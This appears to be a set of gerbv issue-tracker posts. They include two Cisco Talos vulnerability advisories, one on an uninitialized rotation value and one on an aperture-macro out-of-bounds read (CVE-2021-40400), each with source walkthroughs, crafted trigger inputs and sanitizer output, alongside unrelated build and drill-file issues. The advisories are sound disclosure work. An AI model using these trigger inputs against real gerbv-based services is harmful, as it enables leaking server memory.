    ...
    if (found_comma && (found_R || found_C || found_U) &&               // [4]
        found_boardside) 
        return TRUE;
    
    return FALSE;
    
} /* pick_and_place_check_file_type */

For an input to be considered a pick-and-place file, the file must first of all contain only printable characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal pick-and-place file is the following:

# --------------------------------------------
J2,"3 TERM BLOCK","DK ED1602-ND",1501.00,375.00,180,top

Though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as a pick-and-place file, even though it will fail later checks in the execution flow:

top,C0

After a pick-and-place file has been recognized, pick_and_place_parse_file_to_images is called, which in turn calls pick_and_place_parse_file. This function parses the pick-and-place file line by line, for each line a PnpPartData structure is built and appended to an array which is eventually returned. Let's look at the code:

GArray *
pick_and_place_parse_file(gerb_file_t *fd)
{
    PnpPartData   pnpPartData;                            // [5]
    int           lineCounter = 0, parsedLines = 0;
    int           ret;
    char          *row[12];                               // [6]
    char          buf[MAXL+2], buf0[MAXL+2];
    char          def_unit[41] = {0,};
    double        tmp_x, tmp_y;
    gerbv_transf_t *tr_rot = gerb_transf_new();
    GArray         *pnpParseDataArray = g_array_new (FALSE, FALSE, sizeof(PnpPartData));
    gboolean foundValidDataRow = FALSE;
    /* Unit declaration for "PcbXY Version 1.0" files as exported by pcb */
    const char *def_unit_prefix = "# X,Y in ";
    ...

At [5] we see the pnpPartData declaration of type PnpPartData:

typedef struct {
    char     designator[MAXL];
    char     footprint[MAXL];
    double   mid_x;
    double   mid_y;
    double   ref_x;
    double   ref_y;
    double   pad_x;
    double   pad_y;
    char     layer[MAXL]; /*T is top B is bottom*/
    double   rotation;
    char     comment[MAXL];    
    int      shape;
    double   width;
    double   length;
    unsigned int nuf_push;  /* Nuf pushes to estimate stack size */
} PnpPartData;

At [6] we see the declaration for the row fields that are going to be populated.
Note that the structure at [5] is not initialized.

...
while ( fgets(buf, MAXL, fd->fd) != NULL ) {                                   // [7]
    int len = strlen(buf)-1;
    int i_length = 0, i_width = 0;
    
    lineCounter += 1; /*next line*/
    if(lineCounter < 2) {                                                      // [8]
        /* 
         * TODO in principle column names could be read and interpreted
         * but we skip the first line with names of columns for this time
         */
        continue;
    }
    ...
    if (len <= 11)  {  //lets check a minimum length of 11                     // [9]
        continue;
    }
    ...
    ret = csv_row_parse(buf, MAXL,  buf0, MAXL, row, 11, ',',   CSV_QUOTES);   // [10]

    if (ret > 0) {
        foundValidDataRow = TRUE;
    } else {
        continue;
    }

The code loops for each line [7] in the file. At [8] we can see that the first line is skipped as it's considered a header. At line [9] the code ensures that the line has a minimum size of 12 bytes. There are other sanitization checks but they are omitted since they're not relevant to this advisory.

At [10] the line is parsed using the csv_row_parse. This is a function taken from the libmba package, which has been included in gerbv with some modifications. Basically each line is parsed as a CSV, using comma as a separator and allowing a maximum of 11 fields to be populated in the row variable. If the CSV parsing is successful, the loop code continues with the following:

...
if (row[0] && row[8]) { // here could be some better check for the syntax          // [11]
    snprintf (pnpPartData.designator, sizeof(pnpPartData.designator)-1, "%s", row[0]);
    snprintf (pnpPartData.footprint, sizeof(pnpPartData.footprint)-1, "%s", row[1]);
    snprintf (pnpPartData.layer, sizeof(pnpPartData.layer)-1, "%s", row[8]);
    if (row[10] != NULL) {
        if ( ! g_utf8_validate(row[10], -1, NULL)) {
            gchar * str = g_convert(row[10], strlen(row[10]), "UTF-8", "ISO-8859-1",
                                    NULL, NULL, NULL);
            // I have not decided yet whether it is better to use always
            // "ISO-8859-1" or current locale.
            // str = g_locale_to_utf8(row[10], -1, NULL, NULL, NULL);
            snprintf (pnpPartData.comment, sizeof(pnpPartData.comment)-1, "%s", str);
            g_free(str);
        } else {
            snprintf (pnpPartData.comment, sizeof(pnpPartData.comment)-1, "%s", row[10]);
        }
    }
    ...
    pnpPartData.mid_x = pick_and_place_get_float_unit(row[2], def_unit);
    pnpPartData.mid_y = pick_and_place_get_float_unit(row[3], def_unit);
    pnpPartData.ref_x = pick_and_place_get_float_unit(row[4], def_unit);
    pnpPartData.ref_y = pick_and_place_get_float_unit(row[5], def_unit);
    pnpPartData.pad_x = pick_and_place_get_float_unit(row[6], def_unit);
    pnpPartData.pad_y = pick_and_place_get_float_unit(row[7], def_unit);
    /* This line causes segfault if we accidently starts parsing 
     * a gerber file. It is crap crap crap */
    if (row[9])
        sscanf(row[9], "%lf", &pnpPartData.rotation); // no units, always deg      // [13]
}
/* for now, default back to PCB program format
 * TODO: implement better checking for format
 */
else if (row[0] && row[1] && row[2] && row[3] && row[4] && row[5] && row[6]) {     // [12]
    snprintf (pnpPartData.designator, sizeof(pnpPartData.designator)-1, "%s", row[0]);
    snprintf (pnpPartData.footprint, sizeof(pnpPartData.footprint)-1, "%s", row[1]);                
    snprintf (pnpPartData.layer, sizeof(pnpPartData.layer)-1, "%s", row[6]);        
    pnpPartData.mid_x = pick_and_place_get_float_unit(row[3], def_unit);
    pnpPartData.mid_y = pick_and_place_get_float_unit(row[4], def_unit);
    pnpPartData.pad_x = pnpPartData.mid_x + 0.03;
    pnpPartData.pad_y = pnpPartData.mid_y + 0.03;
    sscanf(row[5], "%lf", &pnpPartData.rotation); // no units, always deg          // [13]
    /* check for coordinate sanity, and abort if it fails
     * Note: this is mainly to catch comment lines that get parsed
     */
    if ((fabs(pnpPartData.mid_x) < 0.001)&&(fabs(pnpPartData.mid_y) < 0.001)) {
        continue;                        
    }
} else {
    continue;
}
...

At [11] and [12] we can notice that two different row formats are accepted: one with 7 fields, and one with at least 9 fields. The difference is minimal and the issue is the same in both: the sscanf at [13] is used to read the rotation and it may fail and not write anything to the destination buffer pnpPartData.rotation, which has not been initialized at the beginning of the function [5].

sscanf returns the number of items matched and assigned, so in this case it should be equal to 1 when the scan succeeds.

To make sscanf fail, it's enough to write an empty string or any non-numeric string in the rotation column. This way, pnpPartData.rotation will be left with an uninitialized value from the stack, which will be returned by this function and will later be used to draw the final image. An attacker able to read the resulting rendered image, might be able to extract (limited) memory contents by analyzing the object rotation in the rendered image.

Crash Information

# valgrind ./gerbv -x png -o out.png pick_and_place_rotation_uninit.min.xy                                                                                           
==863== Memcheck, a memory error detector
==863== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==863== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==863== Command: ./gerbv -x png -o out.png pick_and_place_rotation_uninit.min.xy
==863==
==863== Conditional jump or move depends on uninitialised value(s)
==863==    at 0x5319DD9: sin (s_sin.c:463)
==863==    by 0x158897: gerb_transf_rotate (pick-and-place.c:83)
==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
==863==    by 0x12D6C9: main (main.c:932)
==863==
==863== Conditional jump or move depends on uninitialised value(s)
==863==    at 0x5319DEF: sin (s_sin.c:465)
==863==    by 0x158897: gerb_transf_rotate (pick-and-place.c:83)
==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
==863==    by 0x12D6C9: main (main.c:932)
==863==
==863== Conditional jump or move depends on uninitialised value(s)
==863==    at 0x531B8A9: cos (s_sin.c:559)
==863==    by 0x1588AB: gerb_transf_rotate (pick-and-place.c:83)
==863==    by 0x15951A: pick_and_place_parse_file (pick-and-place.c:370)
==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
==863==    by 0x12D6C9: main (main.c:932)
==863==
==863== Conditional jump or move depends on uninitialised value(s)
==863==    at 0x159587: pick_and_place_parse_file (pick-and-place.c:373)
==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
==863==    by 0x12D6C9: main (main.c:932)
==863==
==863== Conditional jump or move depends on uninitialised value(s)
==863==    at 0x1595A7: pick_and_place_parse_file (pick-and-place.c:373)
==863==    by 0x15AB5B: pick_and_place_parse_file_to_images (pick-and-place.c:790)
==863==    by 0x156C92: gerbv_open_image (gerbv.c:538)
==863==    by 0x1561B0: gerbv_open_layer_from_filename_with_color (gerbv.c:249)
==863==    by 0x12D6C9: main (main.c:932)
==863==

Credit

Discovered by Claudio Bozzato of Cisco Talos.

https://talosintelligence.com/vulnerability_reports/

Timeline

2021-11-24 - Vendor Disclosure
None - Public Release

Include system headers with isystem

There are a couple of more warnings stopping us from merging this. Most of them seem to be related to deprecated types like GTypeDebugFlags and GTimeVal.

I'm not sure how much refactoring is required to use the recommended types.

Yup, but those errors aren't in gerbv, they are in glib itself! glib is calling its own deprecated functions!

It would be too much for us to fix glib but we can teach the compiler to ignore errors inside of included files. That is, if gerbv code causes the warning, we want the error, but if gerbv includes glib and glib causes the warning, we want to ignore it.

The trick for this is to make sure that glib is included not with -I but -isystem. pcb2gcode does this.

https://stackoverflow.com/a/2590764/4454

Originally posted by @eyal0 in #52 (comment)

Remove all clang compile-time warnings

Currently, CI only builds using gcc. If we build using clang, -Werror reports other warnings. We should fix those, too.

We can either have a single CI that will build, make clean, and then build again with clang. Alternatively, we can have the CI launch two different jobs and do it separately. This is a little more complex to write but it would run faster, because it would be in parallel, and maybe it's a cleaner solution because we wouldn't be relying on make clean.

If we do split the builds, we would want to only do the deploy stuff if both CI jobs succeed. So probably we'd have two CI jobs, one doing gcc, one clang. And when both succeed, then launch the job that does all the releases and deploy github pages and stuff.

Security advisory TALOS-2021-1413

TALOS-2021-1413
CVE-2021-40400

Gerbv RS-274X aperture macro outline primitive out-of-bounds read vulnerability

Summary

An out-of-bounds read vulnerability exists in the RS-274X aperture macro outline primitive functionality of Gerbv 2.7.0 and dev (commit b5f1eac) and the forked version of Gerbv (commit d7f42a9). A specially-crafted gerber file can lead to information disclosure. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

Gerbv 2.7.0
Gerbv dev (commit b5f1eac)
Gerbv forked dev (commit d7f42a9)

Product URLs

https://sourceforge.net/projects/gerbv/

CVSSv3 Score

9.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H

CWE

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Details

Gerbv is an open-source software that allows to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). Moreover, gerbv can be compiled and used as a shared library. For these reasons, we consider this software as reachable via network without user interaction or privilege requirements.

Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the RS-274X file-type.

int
gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
{
    ...        
    dprintf("In open_image, about to try opening filename = %s\n", filename);
    
    fd = gerb_fopen(filename);
    if (fd == NULL) {
        GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                        filename, strerror(errno));
        return -1;
    }
    ...
    if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
        dprintf("Found RS-274X file\n");
        if (!foundBinary || forceLoadFile) {
                /* figure out the directory path in case parse_gerb needs to
                 * load any include files */
                gchar *currentLoadDirectory = g_path_get_dirname (filename);
                parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                g_free (currentLoadDirectory);
        }
    }
    ...

A file is considered of type "RS-274X" if the function gerber_is_rs274x_p [1] returns true. When true, the parse_gerb is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

gboolean
gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary) 
{
    ...
    while (fgets(buf, MAXL, fd->fd) != NULL) {
        dprintf ("buf = \"%s\"\n", buf);
        len = strlen(buf);
    
        /* First look through the file for indications of its type by
         * checking that file is not binary (non-printing chars and white 
         * spaces)
         */
        for (i = 0; i < len; i++) {                                             // [3]
            if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                (buf[i] != '\n') && (buf[i] != '\t')) {
                found_binary = TRUE;
                dprintf ("found_binary (%d)\n", buf[i]);
            }
        }
        if (g_strstr_len(buf, len, "%ADD")) {
            found_ADD = TRUE;
            dprintf ("found_ADD\n");
        }
        if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
            found_D0 = TRUE;
            dprintf ("found_D0\n");
        }
        if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
            found_D2 = TRUE;
            dprintf ("found_D2\n");
        }
        if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
            found_M0 = TRUE;
            dprintf ("found_M0\n");
        }
        if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
            found_M2 = TRUE;
            dprintf ("found_M2\n");
        }
        if (g_strstr_len(buf, len, "*")) {
            found_star = TRUE;
            dprintf ("found_star\n");
        }
        /* look for X<number> or Y<number> */
        if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after X */
                found_X = TRUE;
                dprintf ("found_X\n");
            }
        }
        if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after Y */
                found_Y = TRUE;
                dprintf ("found_Y\n");
            }
        }
    }
    ...
    /* Now form logical expression determining if the file is RS-274X */
    if ((found_D0 || found_D2 || found_M0 || found_M2) &&                     // [4]
        found_ADD && found_star && (found_X || found_Y)) 
        return TRUE;
    
    return FALSE;

} /* gerber_is_rs274x */

For an input to be considered an RS-274X file, the file must first of all contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

%FSLAX26Y26*%
%MOMM*%
%ADD100C,1.5*%
D100*
X0Y0D03*
M02*

Even though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

%ADD0X0*

After an RS-274X file has been recognized, parse_gerb is called, which in turn calls gerber_parse_file_segment:

gboolean
gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image, 
                           gerb_state_t *state,        gerbv_net_t *curr_net, 
                           gerbv_stats_t *stats, gerb_file_t *fd, 
                           gchar *directoryPath)
{
    ...
    while ((read = gerb_fgetc(fd)) != EOF) {
        ...
        case '%':
            dprintf("... Found %% code at line %ld\n", line_num);
            while (1) {
                    parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                stats, directoryPath, &line_num);

If our file starts with "%", we end up calling parse_rs274x:

static void 
parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image, 
             gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats, 
             gchar *directoryPath, long int *line_num_p)
{
    ...
    switch (A2I(op[0], op[1])){
    ...
    case A2I('A','D'): /* Aperture Description */
        a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);

        ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [6]
        ...
        break;
    case A2I('A','M'): /* Aperture Macro */
        tmp_amacro = image->amacro;
        image->amacro = parse_aperture_macro(fd);                         // [5]
        if (image->amacro) {
            image->amacro->next = tmp_amacro;
        ...

For this advisory, we're interested in the AM and AD commands. For details on the Gerber format see the specification from Ucamco.

In summary, AM defines a "macro aperture template", which is, in other terms, a parametrized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows to perform arithmetic operations and define variables. After a template has been defined, the AD command is used to instantiate such template and optionally passing some parameters to customize the shape.

From the specification, this is the syntax of the AM command:

<AM command>          = AM<Aperture macro name>*<Macro content>
<Macro content>       = {{<Variable definition>*}{<Primitive>*}}
<Variable definition> = $K=<Arithmetic expression>
<Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
<Modifier>            = $M|< Arithmetic expression>
<Comment>             = 0 <Text>

While this is the syntax for the AD command:

<AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
<Modifiers set> = <Modifier>{X<Modifier>}

For this advisory, we're interested in the "Outline" primitive (code 4). From the specification:

An outline primitive is an area defined by its outline or contour. The outline is a polygon,
consisting of linear segments only, defined by its start vertex and n subsequent vertices.

The outline primitive should contain the following fields:

+-----------------+----------------------------------------------------------------------------------------+
| Modifier number | Description                                                                            |
+-----------------+----------------------------------------------------------------------------------------+
| 1               | Exposure off/on (0/1)                                                                  |
+-----------------+----------------------------------------------------------------------------------------+
| 2               | The number of vertices of the outline = the number of coordinate pairs minus one.      |
|                 | An integer ≥3.                                                                         |
+-----------------+----------------------------------------------------------------------------------------+
| 3, 4            | Start point X and Y coordinates. Decimals.                                             |
+-----------------+----------------------------------------------------------------------------------------+
| 5, 6            | First subsequent X and Y coordinates. Decimals.                                        |
+-----------------+----------------------------------------------------------------------------------------+
| ...             | Further subsequent X and Y coordinates. Decimals.                                      |
|                 | The X and Y coordinates are not modal: both X and Y must be specified for all points.  |
+-----------------+----------------------------------------------------------------------------------------+
| 3+2n, 4+2n      | Last subsequent X and Y coordinates. Decimals. Must be equal to the start coordinates. |
+-----------------+----------------------------------------------------------------------------------------+
| 5+2n            | Rotation angle, in degrees counterclockwise, a decimal.                                |
|                 | The primitive is rotated around the origin of the macro definition,                    |
|                 | i.e. the (0, 0) point of macro                                                         |
+----------------------------------------------------------------------------------------------------------+

Also the specification states that "The maximum number of vertices is 5000", which is controlled by the modified number 2. So, depending on the number of vertices, the length of this primitive will change accordingly.

In the parse_rs274x function, when an AM command is found, the function parse_aperture_macro is called [5]. Let's see how this outline primitive is handled there:

gerbv_amacro_t *
parse_aperture_macro(gerb_file_t *fd)
{
    gerbv_amacro_t *amacro;
    gerbv_instruction_t *ip = NULL;
    int primitive = 0, c, found_primitive = 0;
    ...
    int equate = 0;

    amacro = new_amacro();

    ...        
    /*
     * Since I'm lazy I have a dummy head. Therefore the first 
     * instruction in all programs will be NOP.
     */
    amacro->program = new_instruction();
    ip = amacro->program;
    
    while(continueLoop) {
        
        c = gerb_fgetc(fd);
        switch (c) {
        ...
        case '*':
            ...
            /*
             * Check is due to some gerber files has spurious empty lines.
             * (EagleCad of course).
             */
            if (found_primitive) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                if (equate) {
                    ip->opcode = GERBV_OPCODE_PPOP;
                    ip->data.ival = equate;
                } else {
                    ip->opcode = GERBV_OPCODE_PRIM;                         // [10]
                    ip->data.ival = primitive;
                }
                equate = 0;
                primitive = 0;
                found_primitive = 0;
            }
            break;
        ...
        case ',':
            if (!found_primitive) {                                         // [8]
                found_primitive = 1;
                break;
            }
            ...
            break;
        ...
        case '1':
        case '2':
        case '3':
        case '4':
        case '5':
        case '6':
        case '7':
        case '8':
        case '9':
        case '.':
            /* 
             * First number in an aperture macro describes the primitive
             * as a numerical value
             */
            if (!found_primitive) {                                         // [7]
                primitive = (primitive * 10) + (c - '0');
                break;
            }
            (void)gerb_ungetc(fd);
            ip->next = new_instruction(); /* XXX Check return value */      // [9]
            ip = ip->next;
            ip->opcode = GERBV_OPCODE_PUSH;
            amacro->nuf_push++;
            ip->data.fval = gerb_fgetdouble(fd);
            if (neg) 
                ip->data.fval = -ip->data.fval;
            neg = 0;
            comma = 0;
            break;
        case '%':
            gerb_ungetc(fd);  /* Must return with % first in string
                                 since the main parser needs it */
            return amacro;                                                  // [11]
        default :
            /* Whitespace */
            break;
        }
        if (c == EOF) {
            continueLoop = 0;
        }
    }
    free (amacro);
    return NULL;
}

As we can see this function implements a set of opcodes for a virtual machine that is used to perform arithmetic operations, handle variable definitions and references via a virtual stack, and primitives.
Let's take an outline primitive definition as example:

%AMX0*4,0,3,1,1,1*%

As discussed before, %AM will land us in the parse_aperture_macro function, and X0 is the name for the macro. The macro parsing starts with 4 [7]: this is the primitive number, which is read as a decimal number until a , is found [8]. After that, each field separated by , is read as a double and added to the stack via PUSH [9]. These form the arguments to the primitive. When * is found [10], the primitive instruction is added, and with % the macro is returned.

For reference, these are the prototypes for the macro and the program instructions:

struct amacro {
    gchar *name;
    gerbv_instruction_t *program;
    unsigned int nuf_push;
    struct amacro *next;
}

struct instruction {
    gerbv_opcodes_t opcode;
    union {
        int ival;
        float fval;
    } data;
    struct instruction *next;
}

Back to parse_rs274x, when an AD command is found, the function parse_aperture_definition is called [6], which in turn calls simplify_aperture_macro when the AD command is using a template.

static int
simplify_aperture_macro(gerbv_aperture_t *aperture, gdouble scale)
{
    ...
    gerbv_instruction_t *ip;
    int handled = 1, nuf_parameters = 0, i, j, clearOperatorUsed = FALSE;   // [18]
    double *lp; /* Local copy of parameters */
    double tmp[2] = {0.0, 0.0};
    ...
    /* Allocate stack for VM */
    s = new_stack(aperture->amacro->nuf_push + extra_stack_size);           // [12]
    if (s == NULL) 
        GERB_FATAL_ERROR("malloc stack failed in %s()", __FUNCTION__);
    ...
    for(ip = aperture->amacro->program; ip != NULL; ip = ip->next) {
        switch(ip->opcode) {
        case GERBV_OPCODE_NOP:
            break;
        case GERBV_OPCODE_PUSH :
            push(s, ip->data.fval);                                         // [13]
            break;
        ...
        case GERBV_OPCODE_PRIM :
            /* 
             * This handles the exposure thing in the aperture macro
             * The exposure is always the first element on stack independent
             * of aperture macro.
             */
            switch(ip->data.ival) {
            ...
            case 4 :                                                        // [14]
                dprintf("  Aperture macro outline [4] (");
                type = GERBV_APTYPE_MACRO_OUTLINE;
                /*
                 * Number of parameters are:
                 * - number of points defined in entry 1 of the stack + 
                 *   start point. Times two since it is both X and Y.
                 * - Then three more; exposure,  nuf points and rotation.
                 */
                nuf_parameters = ((int)s->stack[1] + 1) * 2 + 3;            // [15]
                break;
            ...
            }

            if (type != GERBV_APTYPE_NONE) { 
                if (nuf_parameters > APERTURE_PARAMETERS_MAX) {             // [16]
                        GERB_COMPILE_ERROR(_("Number of parameters to aperture macro (%d) "
                                                        "are more than gerbv is able to store (%d)"),
                                                        nuf_parameters, APERTURE_PARAMETERS_MAX);
                        nuf_parameters = APERTURE_PARAMETERS_MAX;           // [17]
                }

                /*
                 * Create struct for simplified aperture macro and
                 * start filling in the blanks.
                 */
                sam = g_new (gerbv_simplified_amacro_t, 1);
                sam->type = type;
                sam->next = NULL;
                memset(sam->parameter, 0, 
                       sizeof(double) * APERTURE_PARAMETERS_MAX);
                memcpy(sam->parameter, s->stack,                            // [18]
                       sizeof(double) *  nuf_parameters);

For this advisory, all the AD commands has to do is utilize the macro that we just created, without special parameters. Let's consider the following aperture definition:

%ADD09X0*

For AD to use the template, it has to execute the template in the virtual machine. To this end, a virtual stack is allocated at [12] to handle parameters. The size of this stack depends on nuf_push, which is incremented at [9] every time a GERBV_OPCODE_PUSH instruction is added to the program.

In the case of the sample macro previously discussed, our program will contain a serie of GERBV_OPCODE_PUSH instructions (pushing the numbers 0,3,1,1,1 to the stack, at [13]) and a GERBV_OPCODE_PRIM instruction for primitive 4 (outline), executed at [14].

At [15] the number of vertices is taken from the second field in the stack (as per specification) and the number of parameters for the primitive is calculated. At [16] the code makes sure that nuf_parameters is not bigger than APERTURE_PARAMETERS_MAX (102), otherwise nuf_parameters gets limited to APERTURE_PARAMETERS_MAX [17]. Finally at [18] the parameters are copied from the stack into the newly allocated sam structure.

The problem in this whole logic is that the stack buffer (s->stack) created at [12] has a size that depends on nuf_push, while the memcpy happening at [18] has a size that depends on nuf_parameters. In the sample macro, the value of nuf_parameters is 3, however an attacker could use any arbitrary number, which is taken verbatim at [15] by reading s->stack[1] and used to calculate nuf_parameters. At [17] the value of nuf_parameters is restricted to a maximum of 102, meaning that an attacker can set an arbitrary nuf_parameters value from 0 to 102, causing the memcpy at [18] to range from 0 to 816 (i.e. 102 * sizeof(double)).
If nuf_push is smaller than nuf_parameters, the memcpy will cause an out-of-bounds read on the s->stack buffer, which will lead to storing data of the nearby heap chunks into sam->parameter. Since sam->parameter is used to draw the shape for the macro being evaluated, this will result in the final drawing to have a different shape, coordinate points, and rotation, depending on the values stored in the nearby heap chunks. Since an attacker might be able to read the rendered image at the end of the parsing (e.g. if the service using Gerbv is converting a .gbr file into a .png and returning it to the user), it would be possible to extract heap metadata or contents by reading the resulting rendered image. The quality of the information depends on the dpi chosen for the operation, however with careful heap manipulation, in the worst case this could result in an information leak of the process' memory.

Crash Information

# ./gerbv -x png -o out aperture_macro_parameters_oobr.poc

** (process:267): CRITICAL **: 15:11:07.120: Number of parameters to aperture macro (2005) are more than gerbv is able to store (102)=================================================================
==267==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf3e027b8 at pc 0xf799d8be bp 0xfff31768 sp 0xfff31338
READ of size 816 at 0xf3e027b8 thread T0
    #0 0xf799d8bd  (/usr/lib/i386-linux-gnu/libasan.so.4+0x778bd)
    #1 0x5664448d in simplify_aperture_macro ./src/gerber.c:2051
    #2 0x56646257 in parse_aperture_definition ./src/gerber.c:2272
    #3 0x56640cef in parse_rs274x ./src/gerber.c:1637
    #4 0x56634211 in gerber_parse_file_segment ./src/gerber.c:243
    #5 0x56639d97 in parse_gerb ./src/gerber.c:768
    #6 0x5664fdb3 in gerbv_open_image ./src/gerbv.c:526
    #7 0x5664d760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #8 0x565b9528 in main ./src/main.c:932
    #9 0xf6b91f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #10 0x56577220  (./gerbv+0x16220)

0xf3e027b8 is located 0 bytes to the right of 120-byte region [0xf3e02740,0xf3e027b8)
allocated by thread T0 here:
    #0 0xf7a0c124 in calloc (/usr/lib/i386-linux-gnu/libasan.so.4+0xe6124)
    #1 0xf70165ca in g_malloc0 (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e5ca)
    #2 0x566439f1 in simplify_aperture_macro ./src/gerber.c:1922
    #3 0x56646257 in parse_aperture_definition ./src/gerber.c:2272
    #4 0x56640cef in parse_rs274x ./src/gerber.c:1637
    #5 0x56634211 in gerber_parse_file_segment ./src/gerber.c:243
    #6 0x56639d97 in parse_gerb ./src/gerber.c:768
    #7 0x5664fdb3 in gerbv_open_image ./src/gerbv.c:526
    #8 0x5664d760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #9 0x565b9528 in main ./src/main.c:932
    #10 0xf6b91f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.4+0x778bd)
Shadow bytes around the buggy address:
  0x3e7c04a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x3e7c04b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x3e7c04c0: 00 00 00 00 00 00 01 fa fa fa fa fa fa fa fa fa
  0x3e7c04d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
  0x3e7c04e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x3e7c04f0: 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa
  0x3e7c0500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04
  0x3e7c0510: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x3e7c0520: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x3e7c0530: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x3e7c0540: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==267==ABORTING

Credit

Discovered by Claudio Bozzato of Cisco Talos.

https://talosintelligence.com/vulnerability_reports/

Additional drill holes shown for a Zuken CADSTAR gerber output

A PCB with 3 non-plated drill holes and 3 plated drill holes was generated by Zuken Cadstar 18.0 and imported into Gerbv 2.8.3-dev~82d59a on Windows 10.
The gerber output also shows only 3 holes for each file.

The Autodetect feature was disabled with the drill files used, they were set to metric.
Gerbv shows 5 plated and 5 non-plated drill holes.

2022-03-01 13_58_22-gerbv_test2 pcb
2022-03-01 14_06_20-Gerbv — gEDA's Gerber Viewer

DrillNonPlated.drl:
M48
FMAT,2
T1C4.0000
%
T1
X0050000 Y0250000
X0050000 Y0050000
X0250000 Y0250000
M30

DrillPlated.drl:
M48
FMAT,2
T1C2.2000
%
T1
X0100000 Y0200000
X0100000 Y0100000
X0200000 Y0200000
M30

cadstar_gerber_bug.zip

Please bring back manual layer realignment feature

